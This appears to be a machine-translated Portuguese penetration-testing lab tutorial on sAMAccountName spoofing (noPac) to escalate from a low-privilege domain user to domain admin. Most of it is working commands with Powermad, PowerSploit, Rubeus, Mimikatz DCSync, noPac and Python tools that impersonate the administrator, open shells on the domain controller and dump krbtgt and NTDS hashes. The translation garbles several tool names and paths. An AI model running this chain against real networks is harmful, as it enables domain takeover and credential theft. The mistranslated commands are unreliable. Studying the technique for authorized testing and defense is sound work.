Home / Domain Escalation / Escalação de domínio – sAMAccountName Spoofing – Laboratório de testes de penetração
Escalação de domínio – sAMAccountName Spoofing – Laboratório de testes de penetração

Escalação de domínio – sAMAccountName Spoofing – Laboratório de testes de penetração

As contas de computador têm o sinal $ anexado ao final de seus nomes, em contraste com as contas de usuário padrão. Por padrão, os sistemas operacionais da Microsoft não possuem controles de segurança e proteção que impediriam uma série de ataques. Ou por outra, foi provado ao longo dos anos que a maneira uma vez que várias coisas funcionam no ecossistema do Windows pode permitir abusos ao utilizar recursos e fluxos de trabalho existentes.

Especificamente, cada conta no diretório ativo tem seu nome no “sAMAAccountName” atributo. No entanto, não há controle para evitar o uso facultativo e, portanto, qualquer usuário que tenha controle sobre um objeto (ou seja, conta de máquina) pode modificar esse valor. A finalidade dessa modificação pode levar à representação de outras contas no domínio, uma vez que a conta do computador do controlador de domínio. Charlie Clark foi o primeiro que foi liberado instruções sobre uma vez que armar essas vulnerabilidades em um cláusula detalhado.

Antes de solicitar um bilhete de serviço, um bilhete de licença de bilhete (TGT) precisa ser emitido primeiro. Quando um tíquete de serviço é solicitado para uma conta que não existe no Núcleo de Distribuição de Chaves (KDC), o Núcleo de Distribuição de Chaves fará o comitiva com uma pesquisa anexando o sinal $ nessa conta. Combinando esse comportamento com a falta de controle em relação ao “sAMAAccountName” um operador de equipe vermelha pode aproveitar isso para o escalonamento de domínio. Especificamente, um tíquete de licença de tíquete para a conta do controlador de domínio pode ser solicitado e a restauração do “sAMAAccountName” antes de qualquer solicitação de tíquete de serviço forçará o KDC a procurar a conta de máquina do controlador de domínio e enunciar um tíquete de serviço ressaltado em nome de um gestor de domínio.

Para utilizar adequadamente nascente ataque para escalação de domínio, o usuário precisa ter permissões na conta do computador para poder modificar o “sAMAAccountName” e “servicePrincipalName” atributos. Os usuários que podem produzir contas de máquina têm os privilégios necessários para modificar esses atributos. Por padrão, a quota de conta de máquina é definida uma vez que 10 para usuários de domínio, o que permite que os usuários criem contas de máquina no domínio. Alternativamente, nascente ataque pode ser realizado da perspectiva de uma conta que é proprietária de uma conta de máquina. Executando o escalonamento de domínio por meio do “sAMAAccountName” a representação consiste nas seguintes etapas:

  1. Gerar uma conta de máquina
  2. Limpar o “servicePrincipalName” atributo
  3. Modifique o “sAMAAccountName” atributo da conta da máquina para mostrar o nome do controlador de domínio sem o sinal $
  4. Solicitar um TGT para a conta do controlador de domínio
  5. Restaure o “sAMAAccountName” atribuir ao seu valor original ou qualquer outro valor
  6. Solicite um ticket de serviço usando o método S4U2self
  7. Receba um tíquete de serviço em nome de uma conta de gestor de domínio

O diagrama a seguir ilustra as etapas do “sAMAAccountName” técnica de representação:

Diagrama – Falsificação de sAMAccountName

Invenção

A Microsoft lançou patches para impedir a exploração bem-sucedida. No entanto, há muitas ocasiões em que os patches não são aplicados a tempo, o que cria um período de tempo em que essa técnica pode ser aproveitada durante uma avaliação da equipe vermelha. Os pré-requisitos da técnica são os seguintes:

  1. Um controlador de domínio sem os patches de segurança KB5008380 e KB5008602
  2. Uma conta de usuário de domínio válida
  3. A quota da conta da máquina deve estar supra de 0

O chegada à rede interna é necessário e, portanto, assume-se que uma conta com poucos privilégios já foi comprometida. Uma vez que mencionado supra, a quota da conta da máquina é, por padrão, 10 e, portanto, o único requisito é identificar se os patches foram aplicados ou não. Isso é trivial e pode ser obtido solicitando um ticket de licença de ticket sem um PAC para uma conta de usuário de domínio e observando o tamanho do ticket base64 (menor comparado aos tickets emitidos com PAC). Rubeus pode ser usado com o /nopac alterne para solicitar um TGT para uma conta de domínio cujas credenciais são conhecidas.

Rubeus.exe asktgt /user:pentestlab /password:Password1234 /domain:purple.lab /dc:dc.purple.lab /nopac /nowrap
Falsificação de sAMAccountName – Rubeus Discovery

Observando o tamanho do tíquete, entende-se que o controlador de domínio é vulnerável, pois o PAC não foi emitido com o tíquete.

Spoofing de sAMAccountName – Tamanho do ticket Rubeus sem PAC

Uma vez que opção, a instrumento noPac C# pode ser usada para restaurar tíquetes TGT para todos os controladores de domínio disponíveis na rede. A instrumento é baseada no Rubeus, pois está usando a livraria “Rubeus.lib.Interop.LUID” para obter os bilhetes. O tamanho do bilhete pode ordenar se o KDC emitiu bilhetes sem um PAC.

noPAC.exe scan -domain purple.lab -user pentestlab -pass Password1234
Falsificação de sAMAccountName – noPac Scanner

Se as operações forem executadas a partir de um console do PowerShell Seguro de merda desenvolveu um script PowerShell “Invoke-noPac” que incorpora o assembly .NET noPac em base64. Uma vez que a instrumento é na verdade o noPac, os mesmos argumentos podem ser usados ​​para restaurar tickets.

Import-Module .Invoke-noPAC.ps1
Invoke-noPAC -command "scan -domain purple.lab -user pentestlab -pass Password1234"
Falsificação de sAMAccountName – Verificar PowerShell

Manual

Existem várias ferramentas e scripts que podem automatizar a técnica de sistemas de domínio e não associados a domínio. No entanto, antes de submergir na automação, é importante entender uma vez que esse ataque pode ser executado manualmente usando o conjunto de ferramentas existente. A geração de contas de máquina no diretório ativo não é novidade para as operações da equipe vermelha, pois também pode ser usada durante a delegação restrita baseada em recursos. Kevin Robertson desenvolveu um módulo PowerShell chamado Powermad que tem uma função que pode produzir contas de máquina no domínio.

New-MachineAccount -MachineAccount "PentestLab" -Domain "purple.lab" -DomainController "dc.purple.lab"
Falsificação de sAMAccountName – Gerar conta de máquina

A remoção do valor do nome da entidade de serviço da conta da máquina que já foi criada é trivial com “Set-DomainObject” do PowerSploit.

Set-DomainObject "CN=PentestLab,CN=Computers,DC=purple,DC=lab" -Clear "serviceprincipalname"
Falsificação de sAMAccountName – Limpar SPN

Modificação do “sAMAAccountName” valor do atributo para mostrar para o nome do host do controlador de domínio também pode ser realizado a partir do Powermad e do “SetMachineAccountAttribute” executando o comando inferior:

Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "dc" -Attribute "samaccountname"
Falsificação de sAMAccountName – Renomear sAMAccountName

Observando o atributo no diretório ativo, é visível que o valor da novidade conta de máquina agora aponta para “dc”, portanto, essa conta pode simbolizar o controlador de domínio.

Falsificação de sAMAccountName

Verificação de que o atributo “sAMAAccountName” foi modificado pode ser realizado consultando o controlador de domínio. A função “GetDomainComputer” do PowerSploit pode enumerar os atributos de uma conta de máquina no domínio.

Get-DomainComputer "CN=Pentestlab,CN=Computers,DC=purple,DC=lab" -Domain purple.lab -Server dc.purple.lab | select samaccountname
Falsificação de sAMAccountName – Restabelecer sAMAccountName

Rubeus é a instrumento padrão quando se trata de operações que envolvem Kerberos. Uma vez que o nome da conta sam foi confuso, um tíquete de licença de tíquete pode ser solicitado para a conta dc a partir do contexto de um usuário padrão.

.Rubeus.exe asktgt /user:"dc" /password:"Password123" /domain:"purple.lab" /dc:"dc.purple.lab" /nowrap
Falsificação de sAMAccountName – Restabelecer TGT

O atributo sam account name precisa ser revertido para seu valor original ou qualquer outro valor, caso contrário, o ticket de serviço não será emitido.

Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "PentestLab$" -Attribute samaccountname
Falsificação de sAMAccountName – Restaurar sAMAccountName

Uma vez que o TGT já está armazenado na memória, o ticket de serviço pode ser solicitado em nome do gestor do domínio usando “S4U2self” extensão kerberos. Uma vez que o ticket original pertence ao usuário dc que agora não existe, pois o nome da conta sam foi renomeado, o Kerberos procurará o dc$ que é uma conta de máquina válida e emitirá o ticket para o serviço solicitado.

./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/dc.purple.lab" /dc:"dc.purple.lab" /ptt /ticket:[Base64 TGT]
Falsificação de sAMAccountName – Solicitar tíquete de serviço

A partir da sessão existente, o Mimikatz pode ser executado para esvaziar o hash de “krbtgt” usando a técnica DCSync para a geração de um bilhete dourado.

lsadump::dcsync /domain:purple.lab /kdc:dc.purple.lab /user:krbtgt
Falsificação de sAMAccountName – DCSync

Automação

As etapas de falsificação de sAMAccountName podem ser replicadas involuntariamente diretamente da memória usando noPac uma instrumento C# desenvolvida por Cubo0x0. A realização do comando inferior criará uma conta de máquina com uma senha especificada e obterá um ticket de serviço para o “cifs” que será pretérito para a memória.

noPac.exe -domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt
Falsificação de sAMAccountName – noPac

O comando a seguir verificará o escalonamento de domínio, pois um usuário padrão pode enumerar o teor da pasta C$ no controlador de domínio.

dir dc.purple.labc$
Falsificação de sAMAccountName – Compartilhamento noPac DC

Da mesma forma, se o implante inicial for fundamentado em PowerShell, os mesmos argumentos de traço de comando podem ser usados ​​no script Invoke-noPac. Uma vez que já foi mencionado supra, é na verdade um wrapper da instrumento noPac C#.

Invoke-noPac -command "-domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt"
Falsificação de sAMAccountName – noPac PowerShell

Acessar a pasta C$ do controlador de domínio verificará se o tíquete de serviço armazenado em cache na memória é ressaltado.

dir dc.purple.labc$
Falsificação de sAMAccountName – Compartilhamento DC

Não associado ao domínio

Os mesmos princípios da técnica podem ser aplicados a partir de sistemas que não estão vinculados ao domínio. Hossam Hamed lançou um script python chamado sam the admin que emula o ataque. Inicialmente o script tentará enumerar o atributo “ms-DS-MachineAccountQuota” para identificar se um novo computador pode ser adicionado ao domínio. Em seguida, uma conta de máquina será criada com uma senha aleatória. O “sAMAAccountName” da novidade conta de computador será modificado para sustar o valor da conta de máquina do controlador de domínio. Um ticket ressaltado será solicitado e salvo no cache. Finalmente, o valor original do “sAMAAccountName” será restaurado e usando o tíquete em cache uma sessão para o controlador de domínio será estabelecida usando o “smbexec” da suíte Impacket.

python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -shell 
sAMAccountName Spoofing – sam o shell de gestão

O script contém e um sinalizador que pode ser usado para esvaziar hashes de domínio uma vez que o “lixo de segredos” é utilizado em segundo projecto.

python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -dump
sAMAccountName Spoofing – sam o dump do gestor

Esses hashes podem ser usados ​​para cracking offline a término de identificar quaisquer senhas fracas em uso e ordenar se a política de senha do cliente é suficiente e de pacto com os padrões do setor ou requer avaliação suplementar. Alternativamente, uma vez que o hash do “krbtgt” estiver visível, um bilhete dourado pode ser criado para a persistência do domínio.

sAMAccountName Spoofing – sam os hashes de domínio de lixo de gestor

Um script python semelhante foi lançado por Oliver Lyak que pode ser usado para verificar controladores de domínio para identificar hosts vulneráveis ​​e para restaurar tíquetes de serviço de licença de tíquetes.

python3 pachine.py -dc-host dc.purple.lab -scan 'purple.lab/pentestlab:Password1234'
Falsificação de sAMAccountName – Scanner de Pachine

A realização do comando a seguir para um controlador de domínio vulnerável criará uma conta de máquina com uma senha aleatória para obter o tíquete de licença de tíquete. Em seguida, o nome da conta da máquina será renomeado e usando S4U2self um ticket de serviço será restaurado e salvo localmente para o usuário Gestor que pertence a “Administradores de domínio” grupo.

python3 pachine.py -dc-host dc.purple.lab -spn cifs/dc.purple.lab -impersonate administrator 'purple.lab/pentestlab:Password1234'
Spoofing de sAMAccountName – Pachin Retrieve Ticket

O ticket pode ser importado para o cache do Kerberos usando o “exportar KRB5CCNAME” e o caminho em que o ticket foi armazenado. Uma vez que o ticket agora é importado do console atual Impacket “pLifeE-ec” pode ser usado com autenticação Kerberos para obter chegada ao controlador de domínio.

export KRB5CCNAME=administrator@purple.lab.ccache
impacket-pLifeE-ec -k -no-pass 'purple.lab/administrator@dc.purple.lab'
Falsificação de sAMAccountName – PsExec

A implementação desta técnica também é viável a partir de uma instrumento que foi baseada no script python “sam the admin” chamada noPac. O script do scanner irá enumerar o “ms-DS-MachineAccountQuota” e obterá tíquetes de licença de tíquetes de todos os controladores de domínio disponíveis. O tamanho do ticket também será exibido no console para identificação rápida de alvos vulneráveis. No exemplo inferior os dois tickets recebidos sem PAC são relativamente menores comparados ao host 10.0.0.1 que emitiu um ticket com PAC.

python3 scanner.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1
Falsificação de sAMAAccountName – noPac Scanner

Leste script pode ser executado com vários argumentos dependendo da atividade. Especificar as credenciais de um usuário de domínio e o endereço IP do controlador de domínio implementará o ataque até que um tíquete ressaltado seja restaurado.

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1
Falsificação de sAMAccountName – noPac Retrieve Service Ticket
Falsificação de sAMAccountName – noPac

Anexando o “-Valva” e a “– personificar” irá estabelecer uma sessão no controlador de domínio.

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc -shell --impersonate administrator
Falsificação de sAMAccountName – Simbolizar gestor

Da mesma forma o “-jogar fora” pode ser usado para restaurar hashes de usuários de domínio dos segredos NTDS.DIT. Uma vez que o chegada do gestor do domínio já foi obtido através do tíquete Kerberos obtendo o hash do “krbtgt” seria o próximo passo lógico para estabelecer a persistência do domínio.

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc --impersonate administrator -dump -just-dc-user purple/krbtgt
Spoofing de sAMAccountName – Evacuar hash krbtgt

YouTube

Referências

Deixe uma resposta

O seu endereço de email não será publicado.